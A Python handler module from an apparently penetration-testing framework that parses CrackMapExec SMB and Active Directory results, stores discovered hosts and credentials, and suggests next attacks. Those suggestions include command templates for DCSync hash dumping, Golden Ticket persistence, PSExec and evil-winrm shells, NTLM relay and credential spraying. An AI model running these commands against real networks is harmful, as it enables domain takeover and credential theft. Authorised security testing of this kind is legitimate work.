#!/usr/bin/env python3
"""
CrackMapExec handler.

Consolidates parsing and display logic for CrackMapExec Windows/AD enumeration jobs.
"""

import logging
import os
import re
from typing import Any, Dict, List, Optional

import click

from souleyez.engine.job_status import (
    STATUS_DONE,
    STATUS_ERROR,
    STATUS_NO_RESULTS,
    STATUS_WARNING,
)
from souleyez.handlers.base import BaseToolHandler

logger = logging.getLogger(__name__)


class CrackMapExecHandler(BaseToolHandler):
    """Handler for CrackMapExec Windows/AD enumeration jobs."""

    tool_name = "crackmapexec"
    display_name = "CrackMapExec"

    # All handlers enabled
    has_error_handler = True
    has_warning_handler = True
    has_no_results_handler = True
    has_done_handler = True

    def parse_job(
        self,
        engagement_id: int,
        log_path: str,
        job: Dict[str, Any],
        host_manager: Optional[Any] = None,
        findings_manager: Optional[Any] = None,
        credentials_manager: Optional[Any] = None,
    ) -> Dict[str, Any]:
        """
        Parse CrackMapExec job results.

        Extracts hosts, credentials, and SMB information.
        """
        try:
            # Guard against empty output
            if not os.path.exists(log_path) or os.path.getsize(log_path) == 0:
                return {
                    "tool": self.tool_name,
                    "status": STATUS_NO_RESULTS,
                    "summary": "Empty output (tool produced no output)",
                }

            from souleyez.engine.result_handler import detect_tool_error
            from souleyez.parsers.crackmapexec_parser import parse_crackmapexec

            # Import managers if not provided
            if host_manager is None:
                from souleyez.storage.hosts import HostManager

                host_manager = HostManager()
            if credentials_manager is None:
                from souleyez.storage.credentials import CredentialsManager

                credentials_manager = CredentialsManager()

            target = job.get("target", "")
            parsed = parse_crackmapexec(log_path, target)

            if "error" in parsed:
                return parsed

            # Store hosts
            for host in parsed.get("findings", {}).get("hosts", []):
                host_manager.add_or_update_host(
                    engagement_id,
                    {
                        "ip": host["ip"],
                        "hostname": host.get("hostname"),
                        "domain": host.get("domain"),
                        "os": host.get("os"),
                        "status": "up",
                    },
                )

            # Store credentials
            creds_added = 0
            for cred in parsed.get("findings", {}).get("credentials", []):
                host = host_manager.get_host_by_ip(engagement_id, target)
                if host:
                    credentials_manager.add_credential(
                        engagement_id=engagement_id,
                        host_id=host["id"],
                        username=cred["username"],
                        password=cred["password"],
                        service="smb",
                        credential_type="password",
                        tool="crackmapexec",
                        status="valid",
                    )
                    creds_added += 1

            # Determine status - check all finding types
            hosts_found = len(parsed.get("findings", {}).get("hosts", []))
            shares_found = len(parsed.get("findings", {}).get("shares", []))
            users_found = len(parsed.get("findings", {}).get("users", []))
            vulns_found = len(parsed.get("findings", {}).get("vulnerabilities", []))
            pw_must_change = parsed.get("password_must_change", [])

            # Check for tool errors (supplement to handler's own error checks)
            with open(log_path, "r", encoding="utf-8", errors="replace") as f:
                log_content = f.read()
            tool_error = detect_tool_error(log_content, "crackmapexec")

            # Determine status based on results found
            # Findings ALWAYS take priority over error detection
            # Retry logic is handled by background.py before parsing
            if (
                hosts_found > 0
                or shares_found > 0
                or users_found > 0
                or creds_added > 0
                or vulns_found > 0
                or len(pw_must_change) > 0
            ):
                status = STATUS_DONE
            elif tool_error:
                return {
                    "tool": self.tool_name,
                    "status": STATUS_ERROR,
                    "target": target,
                    "error": tool_error,
                    "summary": f"Tool error: {tool_error}",
                }
            else:
                status = STATUS_NO_RESULTS

            # Extract readable/writable shares for chaining (AD attack paths)
            all_shares = parsed.get("findings", {}).get("shares", [])
            readable_shares = [
                s
                for s in all_shares
                if s.get("permissions") and "READ" in s.get("permissions", "").upper()
            ]
            writable_shares = [
                s
                for s in all_shares
                if s.get("permissions") and "WRITE" in s.get("permissions", "").upper()
            ]

            # Create finding for writable shares (high severity - enables NTLM relay, file placement)
            if writable_shares and findings_manager and host_manager:
                try:
                    host = host_manager.get_host_by_ip(engagement_id, target)
                    if host:
                        share_names = [s.get("name", "") for s in writable_shares]
                        findings_manager.add_finding(
                            engagement_id=engagement_id,
                            host_id=host["id"],
                            finding_type="smb_share",
                            severity="high",
                            title=f"Writable SMB Shares Detected ({len(writable_shares)})",
                            description=(
                                f"Found {len(writable_shares)} share(s) with WRITE permissions. "
                                "Write access to SMB shares can enable NTLM relay attacks via "
                                "malicious .url/.scf/.lnk files, malicious file placement for "
                                "lateral movement, or data exfiltration staging."
                            ),
                            evidence="\n".join([f"- {name}" for name in share_names]),
                            tool="crackmapexec",
                            port=445,
                        )
                        logger.warning(
                            f"FINDING: Writable SMB shares on {target}: {', '.join(share_names)}"
                        )
                except Exception as e:
                    logger.debug(f"Could not create writable share finding: {e}")

            # Extract admin credentials for post-exploitation chaining
            admin_creds = parsed.get("valid_admin_credentials", [])

            # Build summary
            summary_parts = []
            if hosts_found:
                summary_parts.append(f"{hosts_found} host(s)")
            if shares_found:
                summary_parts.append(f"{shares_found} share(s)")
            if users_found:
                summary_parts.append(f"{users_found} user(s)")
            if creds_added:
                summary_parts.append(f"{creds_added} cred(s)")
            if vulns_found:
                summary_parts.append(f"{vulns_found} vuln(s)")
            if len(pw_must_change) > 0:
                summary_parts.append(f"{len(pw_must_change)} password must change")
            if admin_creds:
                summary_parts.append("Pwn3d!")

            summary = " | ".join(summary_parts) if summary_parts else "No results"

            return {
                "tool": "crackmapexec",
                "status": status,
                "target": target,
                "summary": summary,
                "hosts_found": parsed.get("hosts_found", 0),
                "shares_found": parsed.get("shares_found", 0),
                "users_found": parsed.get("users_found", 0),
                "credentials_added": creds_added,
                "vulnerabilities_found": parsed.get("vulnerabilities_found", 0),
                "domains": parsed.get("domains", []),
                # For chaining - AD attack paths
                "readable_shares": readable_shares,
                "writable_shares": writable_shares,
                "shares": all_shares,
                # For post-exploitation chaining
                "valid_admin_credentials": admin_creds,
                "has_admin_access": len(admin_creds) > 0,
                # For password change chaining (STATUS_PASSWORD_MUST_CHANGE)
                "password_must_change": pw_must_change,
                "has_password_must_change": len(pw_must_change) > 0,
            }

        except Exception as e:
            logger.error(f"Error parsing crackmapexec job: {e}")
            return {
                "tool": self.tool_name,
                "status": STATUS_ERROR,
                "error": str(e),
                "summary": f"Parse error: {e}",
            }

    def display_done(
        self,
        job: Dict[str, Any],
        log_path: str,
        show_all: bool = False,
        show_passwords: bool = False,
    ) -> None:
        """Display successful CrackMapExec results."""
        try:
            from souleyez.parsers.crackmapexec_parser import parse_crackmapexec_output

            if not log_path or not os.path.exists(log_path):
                return

            with open(log_path, "r", encoding="utf-8", errors="replace") as f:
                log_content = f.read()
            parsed = parse_crackmapexec_output(log_content, job.get("target", ""))

            findings = parsed.get("findings", {})
            hosts = findings.get("hosts", [])
            shares = findings.get("shares", [])
            users = findings.get("users", [])
            vulns = findings.get("vulnerabilities", [])
            creds = findings.get("credentials", [])
            auth_info = findings.get("auth_info", {})
            pw_must_change = findings.get("password_must_change", [])

            # Only show summary if there's meaningful data
            has_results = (
                hosts
                or shares
                or users
                or vulns
                or creds
                or auth_info
                or pw_must_change
            )
            if not has_results:
                self.display_no_results(job, log_path)
                return

            # Header
            click.echo(click.style("=" * 70, fg="cyan"))
            click.echo(click.style("SMB ENUMERATION RESULTS", bold=True, fg="cyan"))
            click.echo(click.style("=" * 70, fg="cyan"))
            click.echo()

            # Host information
            if hosts:
                for host in hosts:
                    click.echo(
                        click.style(
                            f"Target: {host.get('hostname', 'Unknown')} ({host['ip']}:{host.get('port', 445)})",
                            bold=True,
                            fg="green",
                        )
                    )
                    if host.get("os"):
                        click.echo(click.style(f"  OS: {host['os']}", fg="white"))
                    if host.get("domain"):
                        click.echo(
                            click.style(f"  Domain: {host['domain']}", fg="white")
                        )

                    # Security info
                    if host.get("signing") or host.get("smbv1"):
                        click.echo()
                        click.echo(click.style("  Security Status:", bold=True))
                        if host.get("signing"):
                            signing_color = (
                                "red" if host["signing"].lower() == "false" else "green"
                            )
                            click.echo(
                                click.style(
                                    f"    SMB Signing: {host['signing']}",
                                    fg=signing_color,
                                )
                            )
                        if host.get("smbv1"):
                            smbv1_color = (
                                "red" if host["smbv1"].lower() == "true" else "green"
                            )
                            smbv1_status = (
                                "Enabled (VULNERABLE)"
                                if host["smbv1"].lower() == "true"
                                else "Disabled"
                            )
                            click.echo(
                                click.style(
                                    f"    SMBv1: {smbv1_status}", fg=smbv1_color
                                )
                            )
                    click.echo()

            # Shares
            if shares:
                click.echo(
                    click.style(
                        f"Shares Found ({len(shares)}):", bold=True, fg="yellow"
                    )
                )
                for share in shares:
                    name = share.get("name", "Unknown")
                    perms = share.get("permissions", "")
                    click.echo(f"  - {name} ({perms})")
                click.echo()

            # Users
            if users:
                click.echo(
                    click.style(f"Users Found ({len(users)}):", bold=True, fg="green")
                )
                max_users = None if show_all else 15
                display_users = users if max_users is None else users[:max_users]
                for user in display_users:
                    click.echo(f"  - {user}")
                if max_users and len(users) > max_users:
                    click.echo(f"  ... and {len(users) - max_users} more")
                click.echo()

            # Credentials
            if creds:
                click.echo(
                    click.style(
                        f"Credentials Found ({len(creds)}):", bold=True, fg="red"
                    )
                )
                for cred in creds:
                    username = cred.get("username", "Unknown")
                    if show_passwords and cred.get("password"):
                        click.echo(f"  - {username}:{cred['password']}")
                    else:
                        click.echo(f"  - {username}:***")
                click.echo()

            # Password Must Change - HIGH VALUE FINDING
            if pw_must_change:
                click.echo(click.style("=" * 70, fg="red", bold=True))
                click.echo(
                    click.style(
                        f"PASSWORD MUST CHANGE ({len(pw_must_change)}):",
                        bold=True,
                        fg="red",
                    )
                )
                click.echo(
                    click.style(
                        "  These users can authenticate but MUST change their password!",
                        fg="yellow",
                    )
                )
                click.echo()
                for entry in pw_must_change:
                    domain = entry.get("domain", "")
                    username = entry.get("username", "")
                    password = entry.get("password", "")
                    if show_passwords:
                        click.echo(
                            click.style(
                                f"  {domain}\\{username}:{password}",
                                fg="red",
                                bold=True,
                            )
                        )
                    else:
                        click.echo(
                            click.style(
                                f"  {domain}\\{username}:***",
                                fg="red",
                                bold=True,
                            )
                        )
                click.echo()
                click.echo(
                    click.style(
                        "  NEXT STEP: Use smbpasswd to change password, then login",
                        fg="green",
                        bold=True,
                    )
                )
                click.echo(
                    click.style(
                        f"  Example: smbpasswd -r <target> -U {pw_must_change[0].get('username', 'USER')}",
                        fg="cyan",
                    )
                )
                click.echo(click.style("=" * 70, fg="red", bold=True))
                click.echo()

            # Vulnerabilities
            if vulns:
                click.echo(
                    click.style(f"Vulnerabilities ({len(vulns)}):", bold=True, fg="red")
                )
                for vuln in vulns:
                    click.echo(f"  - {vuln}")
                click.echo()

            click.echo(click.style("=" * 70, fg="cyan"))
            click.echo()

        except Exception as e:
            logger.debug(f"Error in display_done: {e}")

    def display_warning(
        self,
        job: Dict[str, Any],
        log_path: str,
        log_content: Optional[str] = None,
    ) -> None:
        """Display warning status for CrackMapExec."""
        click.echo(click.style("=" * 70, fg="yellow"))
        click.echo(click.style("[WARNING] CRACKMAPEXEC", bold=True, fg="yellow"))
        click.echo(click.style("=" * 70, fg="yellow"))
        click.echo()
        click.echo("  Scan completed with warnings. Check raw logs for details.")
        click.echo("  Press [r] to view raw logs.")
        click.echo()
        click.echo(click.style("=" * 70, fg="yellow"))
        click.echo()

    def display_error(
        self,
        job: Dict[str, Any],
        log_path: str,
        log_content: Optional[str] = None,
    ) -> None:
        """Display error status for CrackMapExec."""
        # Read log if not provided
        if log_content is None and log_path and os.path.exists(log_path):
            try:
                with open(log_path, "r", encoding="utf-8", errors="replace") as f:
                    log_content = f.read()
            except Exception:
                log_content = ""

        click.echo(click.style("=" * 70, fg="red"))
        click.echo(click.style("[ERROR] CRACKMAPEXEC FAILED", bold=True, fg="red"))
        click.echo(click.style("=" * 70, fg="red"))
        click.echo()

        # Check for common CME errors
        error_msg = None
        if log_content:
            if "Connection refused" in log_content or "Connection reset" in log_content:
                error_msg = "Connection refused - SMB service may be down"
            elif "timed out" in log_content.lower() or "timeout" in log_content.lower():
                error_msg = "Connection timed out - target may be slow or filtering"
            elif "STATUS_LOGON_FAILURE" in log_content:
                error_msg = "Authentication failed - invalid credentials"
            elif "STATUS_ACCESS_DENIED" in log_content:
                error_msg = "Access denied - insufficient privileges"
            elif "Errno 113" in log_content or "No route to host" in log_content:
                error_msg = "No route to host - network unreachable"
            elif "[-]" in log_content:
                match = re.search(r"\[-\]\s*(.+?)(?:\n|$)", log_content)
                if match:
                    error_msg = match.group(1).strip()[:100]

        if error_msg:
            click.echo(f"  {error_msg}")
        else:
            click.echo("  Scan failed - see raw logs for details (press 'r')")

        click.echo()
        click.echo(click.style("=" * 70, fg="red"))
        click.echo()

    def display_no_results(
        self,
        job: Dict[str, Any],
        log_path: str,
    ) -> None:
        """Display no_results status for CrackMapExec."""
        click.echo(click.style("=" * 70, fg="cyan"))
        click.echo(click.style("SMB ENUMERATION RESULTS", bold=True, fg="cyan"))
        click.echo(click.style("=" * 70, fg="cyan"))
        click.echo()

        if job.get("target"):
            click.echo(click.style(f"Target: {job.get('target')}", bold=True))
            click.echo()

        # Show summary counts (all zeros for no_results)
        click.echo(click.style("Summary:", bold=True))
        click.echo(f"  Hosts:           0")
        click.echo(f"  Shares:          0")
        click.echo(f"  Users:           0")
        click.echo(f"  Credentials:     0")
        click.echo(f"  Vulnerabilities: 0")
        click.echo()

        click.echo(
            click.style("Result: No SMB information discovered", fg="yellow", bold=True)
        )
        click.echo()
        click.echo("  The scan did not find any hosts, shares, or users.")
        click.echo()
        click.echo(click.style("Possible reasons:", dim=True))
        click.echo("  - Target does not have SMB enabled (port 445)")
        click.echo("  - Firewall blocking SMB traffic")
        click.echo("  - Host is offline or unreachable")
        click.echo("  - Authentication required (try: -u user -p password)")
        click.echo()
        click.echo(click.style("Tips:", dim=True))
        click.echo("  - Verify connectivity: nmap -p 445 <target>")
        click.echo("  - Try null session: --shares")
        click.echo("  - Try different protocols: smb, winrm, ldap, ssh")
        click.echo()
        click.echo(click.style("=" * 70, fg="cyan"))
        click.echo()

    def generate_next_steps(
        self,
        job: Dict[str, Any],
        context: Any,
    ) -> List[Any]:
        """
        Generate suggested next steps based on CrackMapExec results.

        Suggests follow-up attacks based on discovered credentials, shares, and access.
        Smart suggestions include:
        - DCSync and Golden Ticket when admin on DC
        - Relay attacks when SMB signing disabled in findings
        - Credential-based post-exploitation
        """
        from souleyez.core.next_steps import create_next_step

        steps = []
        parse_result = job.get("parse_result", {})
        if not isinstance(parse_result, dict):
            return steps

        target = job.get("target", "")
        admin_creds = parse_result.get("valid_admin_credentials", [])
        has_admin = parse_result.get("has_admin_access", False)
        shares = parse_result.get("shares", [])
        readable_shares = parse_result.get("readable_shares", [])
        pw_must_change = parse_result.get("password_must_change", [])
        domains = parse_result.get("domains", [])
        is_dc = parse_result.get("is_dc", False)

        domain = domains[0] if domains else ""

        # Check context for SMB signing disabled
        smb_signing_disabled = self._check_smb_signing_disabled(context, target)

        # If admin access (Pwn3d!) - suggest post-exploitation
        if has_admin and admin_creds:
            cred = admin_creds[0]
            username = cred.get("username", "")
            password = cred.get("password", "")

            # If this is a DC with admin access - suggest DCSync
            if is_dc:
                steps.append(
                    create_next_step(
                        title="DCSync - dump all domain hashes",
                        reason="Admin on DC (Pwn3d!) - extract entire domain",
                        commands=[
                            f"secretsdump.py '{domain}/{username}:{password}'@{target} -just-dc",
                            "# Or just krbtgt hash for Golden Ticket:",
                            f"secretsdump.py '{domain}/{username}:{password}'@{target} -just-dc-user krbtgt",
                        ],
                        priority=1,
                        category="domain_admin",
                        target=target,
                        tool="impacket_secretsdump",
                        requires_creds=True,
                        cred_type="smb",
                    )
                )

                steps.append(
                    create_next_step(
                        title="Golden Ticket persistence",
                        reason="Admin on DC - create domain persistence",
                        commands=[
                            "# After extracting krbtgt hash:",
                            f"ticketer.py -nthash KRBTGT_HASH -domain-sid DOMAIN_SID -domain {domain} Administrator",
                            "export KRB5CCNAME=Administrator.ccache",
                        ],
                        priority=2,
                        category="persistence",
                        target=target,
                        tool="impacket_ticketer",
                        requires_creds=True,
                        cred_type="smb",
                    )
                )
            else:
                # Regular admin - dump local secrets
                steps.append(
                    create_next_step(
                        title="Dump secrets with admin access",
                        reason="Admin access (Pwn3d!) - extract hashes and secrets",
                        commands=[
                            f"secretsdump.py '{domain}/{username}:{password}'@{target}",
                        ],
                        priority=1,
                        category="post_exploit",
                        target=target,
                        tool="impacket_secretsdump",
                        requires_creds=True,
                        cred_type="smb",
                    )
                )

            steps.append(
                create_next_step(
                    title="Get SYSTEM shell via PSExec",
                    reason="Admin access - get interactive shell",
                    commands=[
                        f"psexec.py '{domain}/{username}:{password}'@{target}",
                        f"evil-winrm -i {target} -u {username} -p '{password}'",
                    ],
                    priority=1,
                    category="access",
                    target=target,
                    tool="impacket_psexec",
                    requires_creds=True,
                    cred_type="smb",
                )
            )

        # If SMB signing disabled - suggest relay attacks
        if smb_signing_disabled:
            steps.append(
                create_next_step(
                    title="NTLM Relay Attack - SMB Signing Disabled",
                    reason="SMB signing disabled - relay captured auth",
                    commands=[
                        "# Start Responder to capture hashes:",
                        "sudo responder -I eth0 -rdw",
                        "",
                        "# Or relay to this target:",
                        f"ntlmrelayx.py -t {target} -smb2support",
                    ],
                    priority=1,
                    category="relay",
                    target=target,
                    tool="responder",
                )
            )

        # If password must change - suggest smbpasswd
        if pw_must_change:
            cred = pw_must_change[0]
            username = cred.get("username", "")
            cred_domain = cred.get("domain", domain)

            steps.append(
                create_next_step(
                    title="Change expired password",
                    reason="Valid credential but password must change first",
                    commands=[
                        f"smbpasswd -r {target} -U {cred_domain}/{username}",
                    ],
                    priority=1,
                    category="auth",
                    target=target,
                    tool="smbpasswd",
                )
            )

        # If readable shares - suggest exploring them
        if readable_shares:
            for share in readable_shares[:3]:
                share_name = share.get("name", "")
                if share_name and share_name not in ["IPC$", "NETLOGON", "SYSVOL"]:
                    steps.append(
                        create_next_step(
                            title=f"Explore share: {share_name}",
                            reason="Readable share - check for sensitive files",
                            commands=[
                                f"smbclient //{target}/{share_name} -U 'user%pass'",
                                f"smbmap -H {target} -r {share_name}",
                            ],
                            priority=2,
                            category="smb",
                            target=target,
                            tool="smbmap",  # Match chain rule tool for filtering
                        )
                    )

        # If shares found but no creds - suggest null session or brute force
        if shares and not admin_creds and not pw_must_change:
            steps.append(
                create_next_step(
                    title="Try credential attacks",
                    reason="Shares found - try to get authenticated access",
                    commands=[
                        f"crackmapexec smb {target} -u userlist.txt -p passlist.txt",
                        f"kerbrute userenum --dc {target} -d {domain} userlist.txt",
                    ],
                    priority=3,
                    category="auth",
                    target=target,
                    tool="crackmapexec",
                )
            )

        return steps[:10]

    def _check_smb_signing_disabled(self, context: Any, target: str) -> bool:
        """
        Check if SMB signing is disabled on the target based on findings.

        Args:
            context: NextStepsContext with findings from engagement
            target: The target IP to check

        Returns:
            True if SMB signing disabled finding exists for target
        """
        if not context or not hasattr(context, "findings"):
            return False

        for finding in context.findings:
            title = (finding.get("title") or "").lower()
            finding_target = finding.get("host_ip") or finding.get("target") or ""

            # Check if this finding is about SMB signing disabled
            if "smb signing" in title and ("disabled" in title or "false" in title):
                # If no specific target check or target matches
                if not target or finding_target == target or not finding_target:
                    return True

        return False


# Register handler
handler = CrackMapExecHandler()
